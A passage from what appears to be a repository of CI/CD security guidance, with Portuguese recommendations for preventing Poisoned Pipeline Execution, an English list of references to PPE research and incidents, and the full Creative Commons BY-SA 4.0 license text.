Capacidade de acessar hosts e ativos adicionais na rede/ambiente do nó de trabalho. 175 | 176 | 177 | ## Recomendações 178 | 179 | Prevenir e mitigar o vetor de ataque de PPE envolve várias medidas que abrangem os sistemas SCM e CI: 180 | 181 | 182 | 183 | * Certifique-se de que os pipelines que executam código não revisado sejam executados em nós isolados, não expostos a segredos e ambientes confidenciais. 184 | * Avalie a necessidade de acionar pipelines em repositórios públicos de contribuidores externos. Sempre que possível, evite executar pipelines originados de bifurcações e considere adicionar controles, como exigir aprovação manual para execução de pipeline. 185 | * Para pipelines confidenciais, por exemplo, aqueles expostos a segredos, certifique-se de que cada branch configurada para acionar um pipeline no sistema CI tenha uma regra de proteção de branch correspondente no SCM. 186 | * Para evitar a manipulação do arquivo de configuração do CI para executar código malicioso no pipeline, cada arquivo de configuração do CI deve ser revisado antes da execução do pipeline. Como alternativa, o arquivo de configuração do CI pode ser gerenciado em uma branch remota, separada da ramificação que contém o código que está sendo criado no pipeline. A branch remota deve ser configurada como protegida. 187 | * Remova as permissões concedidas no repositório SCM de usuários que não precisam delas. 188 | * Cada pipeline deve ter acesso apenas às credenciais necessárias para cumprir sua finalidade. As credenciais devem ter os privilégios mínimos necessários. 189 | 190 | ## Referências 191 | 192 | 193 | 194 | 1. Exploiting Continuous Integration and Automated Build systems, DEF CON 25, by Tyler Welton. The talk covered exploitation techniques of the Direct-PPE and 3PE attack vectors, targeting pipelines running unreviewed code. 195 | 196 | [https://www.youtube.com/watch?v=mpUDqo7tIk8](https://www.youtube.com/watch?v=mpUDqo7tIk8) 197 | 198 | 2. PPE - Poisoned Pipeline Execution. Running malicious code in your CI, without access to your CI. By [Daniel Krivelevich](https://twitter.com/Dkrivelev) and [Omer Gil](https://twitter.com/omer_gil). 199 | 200 | [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/) 201 | 202 | 3. Build Pipeline Security, by [xssfox](https://twitter.com/xssfox). An Indirect-PPE vulnerability was exposed in the CodeBuild pipeline of a website belonging to AWS. This allowed anonymous attackers to modify a script executed by the build configuration file with the creation of a pull request, resulting in the compromise of deployment credentials. 203 | 204 | [https://sprocketfox.io/xssfox/2021/02/18/pipeline/](https://sprocketfox.io/xssfox/2021/02/18/pipeline/) 205 | 206 | 4. GitHub Actions abused to mine cryptocurrency by pull requests that contained malicious code. 207 | 208 | [https://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc](https://dev.to/thibaultduponchelle/the-github-action-mining-attack-through-pull-request-2lmc) 209 | 210 | 5. A terraform provider for execution of OS commands during run of _terraform plan_ in the pipeline, by [Hiroki Suezawa](https://twitter.com/rung). 211 | 212 | [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) 213 | 214 | 6. Abusing the _terraform plan_ command for execution of OS commands in the CI/CD, by [Alex Kaskasoli](https://twitter.com/alxk7i). 215 | 216 | [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) 217 | 218 | 7. A vulnerability found in Teleport’s CI implementation, that allowed attackers from the internet to execute a Direct-3PE attack by creating a pull request in a public GitHub repository linked with a Drone CI pipeline, and modifying the CI configuration file to execute a malicious pipeline. 219 | 220 | [https://goteleport.com/blog/hack-via-pull-request/](https://goteleport.com/blog/hack-via-pull-request/) 221 | 222 | 8. Research by Asier Rivera Fernandez showed how a PPE attack against a CI/CD environment including CodePipeline, CodeBuild and CodeDeploy services in AWS could be executed. 223 | 224 | [https://www.youtube.com/watch?v=McZBcMRxPTA](https://www.youtube.com/watch?v=McZBcMRxPTA) 225 | [https://www.pwc.be/en/FY21/documents/AWS%20CI_CD%20technical%20article%20-%20v3.pdf](https://www.pwc.be/en/FY21/documents/AWS%20CI_CD%20technical%20article%20-%20v3.pdf) 226 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Attribution-ShareAlike 4.0 International 2 | 3 | ======================================================================= 4 | 5 | Creative Commons Corporation ("Creative Commons") is not a law firm and 6 | does not provide legal services or legal advice. Distribution of 7 | Creative Commons public licenses does not create a lawyer-client or 8 | other relationship. Creative Commons makes its licenses and related 9 | information available on an "as-is" basis. Creative Commons gives no 10 | warranties regarding its licenses, any material licensed under their 11 | terms and conditions, or any related information. Creative Commons 12 | disclaims all liability for damages resulting from their use to the 13 | fullest extent possible. 14 | 15 | Using Creative Commons Public Licenses 16 | 17 | Creative Commons public licenses provide a standard set of terms and 18 | conditions that creators and other rights holders may use to share 19 | original works of authorship and other material subject to copyright 20 | and certain other rights specified in the public license below. The 21 | following considerations are for informational purposes only, are not 22 | exhaustive, and do not form part of our licenses. 23 | 24 | Considerations for licensors: Our public licenses are 25 | intended for use by those authorized to give the public 26 | permission to use material in ways otherwise restricted by 27 | copyright and certain other rights. Our licenses are 28 | irrevocable. Licensors should read and understand the terms 29 | and conditions of the license they choose before applying it. 30 | Licensors should also secure all rights necessary before 31 | applying our licenses so that the public can reuse the 32 | material as expected. Licensors should clearly mark any 33 | material not subject to the license. This includes other CC- 34 | licensed material, or material used under an exception or 35 | limitation to copyright. More considerations for licensors: 36 | wiki.creativecommons.org/Considerations_for_licensors 37 | 38 | Considerations for the public: By using one of our public 39 | licenses, a licensor grants the public permission to use the 40 | licensed material under specified terms and conditions. If 41 | the licensor's permission is not necessary for any reason--for 42 | example, because of any applicable exception or limitation to 43 | copyright--then that use is not regulated by the license. Our 44 | licenses grant only permissions under copyright and certain 45 | other rights that a licensor has authority to grant. Use of 46 | the licensed material may still be restricted for other 47 | reasons, including because others have copyright or other 48 | rights in the material. A licensor may make special requests, 49 | such as asking that all changes be marked or described. 50 | Although not required by our licenses, you are encouraged to 51 | respect those requests where reasonable. More considerations 52 | for the public: 53 | wiki.creativecommons.org/Considerations_for_licensees 54 | 55 | ======================================================================= 56 | 57 | Creative Commons Attribution-ShareAlike 4.0 International Public 58 | License 59 | 60 | By exercising the Licensed Rights (defined below), You accept and agree 61 | to be bound by the terms and conditions of this Creative Commons 62 | Attribution-ShareAlike 4.0 International Public License ("Public 63 | License"). To the extent this Public License may be interpreted as a 64 | contract, You are granted the Licensed Rights in consideration of Your 65 | acceptance of these terms and conditions, and the Licensor grants You 66 | such rights in consideration of benefits the Licensor receives from 67 | making the Licensed Material available under these terms and 68 | conditions. 69 | 70 | 71 | Section 1 -- Definitions. 72 | 73 | a. Adapted Material means material subject to Copyright and Similar 74 | Rights that is derived from or based upon the Licensed Material 75 | and in which the Licensed Material is translated, altered, 76 | arranged, transformed, or otherwise modified in a manner requiring 77 | permission under the Copyright and Similar Rights held by the 78 | Licensor. For purposes of this Public License, where the Licensed 79 | Material is a musical work, performance, or sound recording, 80 | Adapted Material is always produced where the Licensed Material is 81 | synched in timed relation with a moving image. 82 | 83 | b. Adapter's License means the license You apply to Your Copyright 84 | and Similar Rights in Your contributions to Adapted Material in 85 | accordance with the terms and conditions of this Public License. 86 | 87 | c. BY-SA Compatible License means a license listed at 88 | creativecommons.org/compatiblelicenses, approved by Creative 89 | Commons as essentially the equivalent of this Public License. 90 | 91 | d. Copyright and Similar Rights means copyright and/or similar rights 92 | closely related to copyright including, without limitation, 93 | performance, broadcast, sound recording, and Sui Generis Database 94 | Rights, without regard to how the rights are labeled or 95 | categorized. For purposes of this Public License, the rights 96 | specified in Section 2(b)(1)-(2) are not Copyright and Similar 97 | Rights. 98 | 99 | e. Effective Technological Measures means those measures that, in the 100 | absence of proper authority, may not be circumvented under laws 101 | fulfilling obligations under Article 11 of the WIPO Copyright 102 | Treaty adopted on December 20, 1996, and/or similar international 103 | agreements. 104 | 105 | f. Exceptions and Limitations means fair use, fair dealing, and/or 106 | any other exception or limitation to Copyright and Similar Rights 107 | that applies to Your use of the Licensed Material. 108 | 109 | g. License Elements means the license attributes listed in the name 110 | of a Creative Commons Public License. The License Elements of this 111 | Public License are Attribution and ShareAlike. 112 | 113 | h. Licensed Material means the artistic or literary work, database, 114 | or other material to which the Licensor applied this Public 115 | License. 116 | 117 | i. Licensed Rights means the rights granted to You subject to the 118 | terms and conditions of this Public License, which are limited to 119 | all Copyright and Similar Rights that apply to Your use of the 120 | Licensed Material and that the Licensor has authority to license. 121 | 122 | j. Licensor means the individual(s) or entity(ies) granting rights 123 | under this Public License. 124 | 125 | k. Share means to provide material to the public by any means or 126 | process that requires permission under the Licensed Rights, such 127 | as reproduction, public display, public performance, distribution, 128 | dissemination, communication, or importation, and to make material 129 | available to the public including in ways that members of the 130 | public may access the material from a place and at a time 131 | individually chosen by them. 132 | 133 | l. Sui Generis Database Rights means rights other than copyright 134 | resulting from Directive 96/9/EC of the European Parliament and of 135 | the Council of 11 March 1996 on the legal protection of databases, 136 | as amended and/or succeeded, as well as other essentially 137 | equivalent rights anywhere in the world. 138 | 139 | m. You means the individual or entity exercising the Licensed Rights 140 | under this Public License. Your has a corresponding meaning. 141 | 142 | 143 | Section 2 -- Scope. 144 | 145 | a. License grant. 146 | 147 | 1. Subject to the terms and conditions of this Public License, 148 | the Licensor hereby grants You a worldwide, royalty-free, 149 | non-sublicensable, non-exclusive, irrevocable license to 150 | exercise the Licensed Rights in the Licensed Material to: 151 | 152 | a. reproduce and Share the Licensed Material, in whole or 153 | in part; and 154 | 155 | b. produce, reproduce, and Share Adapted Material. 156 | 157 | 2. Exceptions and Limitations. For the avoidance of doubt, where 158 | Exceptions and Limitations apply to Your use, this Public 159 | License does not apply, and You do not need to comply with 160 | its terms and conditions. 161 | 162 | 3. Term. The term of this Public License is specified in Section 163 | 6(a). 164 | 165 | 4. Media and formats; technical modifications allowed. The 166 | Licensor authorizes You to exercise the Licensed Rights in 167 | all media and formats whether now known or hereafter created, 168 | and to make technical modifications necessary to do so. The 169 | Licensor waives and/or agrees not to assert any right or 170 | authority to forbid You from making technical modifications 171 | necessary to exercise the Licensed Rights, including 172 | technical modifications necessary to circumvent Effective 173 | Technological Measures. For purposes of this Public License, 174 | simply making modifications authorized by this Section 2(a) 175 | (4) never produces Adapted Material. 176 | 177 | 5. Downstream recipients. 178 | 179 | a. Offer from the Licensor -- Licensed Material. Every 180 | recipient of the Licensed Material automatically 181 | receives an offer from the Licensor to exercise the 182 | Licensed Rights under the terms and conditions of this 183 | Public License. 184 | 185 | b. Additional offer from the Licensor -- Adapted Material. 186 | Every recipient of Adapted Material from You 187 | automatically receives an offer from the Licensor to 188 | exercise the Licensed Rights in the Adapted Material 189 | under the conditions of the Adapter's License You apply. 190 | 191 | c. No downstream restrictions. You may not offer or impose 192 | any additional or different terms or conditions on, or 193 | apply any Effective Technological Measures to, the 194 | Licensed Material if doing so restricts exercise of the 195 | Licensed Rights by any recipient of the Licensed 196 | Material. 197 | 198 | 6. No endorsement. Nothing in this Public License constitutes or 199 | may be construed as permission to assert or imply that You 200 | are, or that Your use of the Licensed Material is, connected 201 | with, or sponsored, endorsed, or granted official status by, 202 | the Licensor or others designated to receive attribution as 203 | provided in Section 3(a)(1)(A)(i). 204 | 205 | b. Other rights. 206 | 207 | 1. Moral rights, such as the right of integrity, are not 208 | licensed under this Public License, nor are publicity, 209 | privacy, and/or other similar personality rights; however, to 210 | the extent possible, the Licensor waives and/or agrees not to 211 | assert any such rights held by the Licensor to the limited 212 | extent necessary to allow You to exercise the Licensed 213 | Rights, but not otherwise. 214 | 215 | 2. Patent and trademark rights are not licensed under this 216 | Public License. 217 | 218 | 3. To the extent possible, the Licensor waives any right to 219 | collect royalties from You for the exercise of the Licensed 220 | Rights, whether directly or through a collecting society 221 | under any voluntary or waivable statutory or compulsory 222 | licensing scheme. In all other cases the Licensor expressly 223 | reserves any right to collect such royalties. 224 | 225 | 226 | Section 3 -- License Conditions. 227 | 228 | Your exercise of the Licensed Rights is expressly made subject to the 229 | following conditions. 230 | 231 | a. Attribution. 232 | 233 | 1. If You Share the Licensed Material (including in modified 234 | form), You must: 235 | 236 | a. retain the following if it is supplied by the Licensor 237 | with the Licensed Material: 238 | 239 | i. identification of the creator(s) of the Licensed 240 | Material and any others designated to receive 241 | attribution, in any reasonable manner requested by 242 | the Licensor (including by pseudonym if 243 | designated); 244 | 245 | ii. a copyright notice; 246 | 247 | iii. a notice that refers to this Public License; 248 | 249 | iv. a notice that refers to the disclaimer of 250 | warranties; 251 | 252 | v. a URI or hyperlink to the Licensed Material to the 253 | extent reasonably practicable; 254 | 255 | b. indicate if You modified the Licensed Material and 256 | retain an indication of any previous modifications; and 257 | 258 | c. indicate the Licensed Material is licensed under this 259 | Public License, and include the text of, or the URI or 260 | hyperlink to, this Public License. 261 | 262 | 2. You may satisfy the conditions in Section 3(a)(1) in any 263 | reasonable manner based on the medium, means, and context in 264 | which You Share the Licensed Material. For example, it may be 265 | reasonable to satisfy the conditions by providing a URI or 266 | hyperlink to a resource that includes the required 267 | information. 268 | 269 | 3. If requested by the Licensor, You must remove any of the 270 | information required by Section 3(a)(1)(A) to the extent 271 | reasonably practicable. 272 | 273 | b. ShareAlike. 274 | 275 | In addition to the conditions in Section 3(a), if You Share 276 | Adapted Material You produce, the following conditions also apply. 277 | 278 | 1. The Adapter's License You apply must be a Creative Commons 279 | license with the same License Elements, this version or 280 | later, or a BY-SA Compatible License. 281 | 282 | 2. You must include the text of, or the URI or hyperlink to, the 283 | Adapter's License You apply. You may satisfy this condition 284 | in any reasonable manner based on the medium, means, and 285 | context in which You Share Adapted Material. 286 | 287 | 3. You may not offer or impose any additional or different terms 288 | or conditions on, or apply any Effective Technological 289 | Measures to, Adapted Material that restrict exercise of the 290 | rights granted under the Adapter's License You apply. 291 | 292 | 293 | Section 4 -- Sui Generis Database Rights. 294 | 295 | Where the Licensed Rights include Sui Generis Database Rights that 296 | apply to Your use of the Licensed Material: 297 | 298 | a. for the avoidance of doubt, Section 2(a)(1) grants You the right 299 | to extract, reuse, reproduce, and Share all or a substantial 300 | portion of the contents of the database; 301 | 302 | b. if You include all or a substantial portion of the database 303 | contents in a database in which You have Sui Generis Database 304 | Rights, then the database in which You have Sui Generis Database 305 | Rights (but not its individual contents) is Adapted Material, 306 | including for purposes of Section 3(b); and 307 | 308 | c. You must comply with the conditions in Section 3(a) if You Share 309 | all or a substantial portion of the contents of the database. 310 | 311 | For the avoidance of doubt, this Section 4 supplements and does not 312 | replace Your obligations under this Public License where the Licensed 313 | Rights include other Copyright and Similar Rights. 314 | 315 | 316 | Section 5 -- Disclaimer of Warranties and Limitation of Liability. 317 | 318 | a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE 319 | EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS 320 | AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF 321 | ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, 322 | IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, 323 | WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR 324 | PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, 325 | ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT 326 | KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT 327 | ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. 328 | 329 | b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE 330 | TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, 331 | NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, 332 | INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, 333 | COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR 334 | USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN 335 | ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR 336 | DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR 337 | IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. 338 | 339 | c. The disclaimer of warranties and limitation of liability provided 340 | above shall be interpreted in a manner that, to the extent 341 | possible, most closely approximates an absolute disclaimer and 342 | waiver of all liability. 343 | 344 | 345 | Section 6 -- Term and Termination. 346 | 347 | a. This Public License applies for the term of the Copyright and 348 | Similar Rights licensed here. However, if You fail to comply with 349 | this Public License, then Your rights under this Public License 350 | terminate automatically. 351 | 352 | b. Where Your right to use the Licensed Material has terminated under 353 | Section 6(a), it reinstates: 354 | 355 | 1. automatically as of the date the violation is cured, provided 356 | it is cured within 30 days of Your discovery of the 357 | violation; or 358 | 359 | 2. upon express reinstatement by the Licensor. 360 | 361 | For the avoidance of doubt, this Section 6(b) does not affect any 362 | right the Licensor may have to seek remedies for Your violations 363 | of this Public License. 364 | 365 | c. For the avoidance of doubt, the Licensor may also offer the 366 | Licensed Material under separate terms or conditions or stop 367 | distributing the Licensed Material at any time; however, doing so 368 | will not terminate this Public License. 369 | 370 | d. Sections 1, 5, 6, 7, and 8 survive termination of this Public 371 | License. 372 | 373 | 374 | Section 7 -- Other Terms and Conditions. 375 | 376 | a. The Licensor shall not be bound by any additional or different 377 | terms or conditions communicated by You unless expressly agreed. 378 | 379 | b. Any arrangements, understandings, or agreements regarding the 380 | Licensed Material not stated herein are separate from and 381 | independent of the terms and conditions of this Public License. 382 | 383 | 384 | Section 8 -- Interpretation. 385 | 386 | a. For the avoidance of doubt, this Public License does not, and 387 | shall not be interpreted to, reduce, limit, restrict, or impose 388 | conditions on any use of the Licensed Material that could lawfully 389 | be made without permission under this Public License. 390 | 391 | b. To the extent possible, if any provision of this Public License is 392 | deemed unenforceable, it shall be automatically reformed to the 393 | minimum extent necessary to make it enforceable. If the provision 394 | cannot be reformed, it shall be severed from this Public License 395 | without affecting the enforceability of the remaining terms and 396 | conditions. 397 | 398 | c. No term or condition of this Public License will be waived and no 399 | failure to comply consented to unless expressly agreed to by the 400 | Licensor. 401 | 402 | d. Nothing in this Public License constitutes or may be interpreted 403 | as a limitation upon, or waiver of, any privileges and immunities 404 | that apply to the Licensor or You, including from the legal 405 | processes of any jurisdiction or authority. 406 | 407 | 408 | ======================================================================= 409 | 410 | Creative Commons is not a party to its public licenses. 411 | Notwithstanding, Creative Commons may elect to apply one of its public 412 | licenses to material it publishes and in those instances will be 413 | considered the “Licensor.” The text of the Creative Commons public 414 | licenses is dedicated to the public domain under the CC0 Public Domain 415 | Dedication. Except for the limited purpose of indicating that material 416 | is shared under a Creative Commons public license or as otherwise 417 | permitted by the Creative Commons policies published at 418 | creativecommons.org/policies, Creative Commons does not authorize the 419 | use of the trademark "Creative Commons" or any other trademark or logo 420 | of Creative Commons without its prior written consent including, 421 | without limitation, in connection with any unauthorized modifications 422 | to any of its public licenses or any other arrangements, 423 | understandings, or agreements concerning use of licensed material. For 424 | the avoidance of doubt, this paragraph does not form part of the public 425 | licenses. 426 | 427 | Creative Commons may be contacted at creativecommons.org. 428 | --------------------------------------------------------------------------------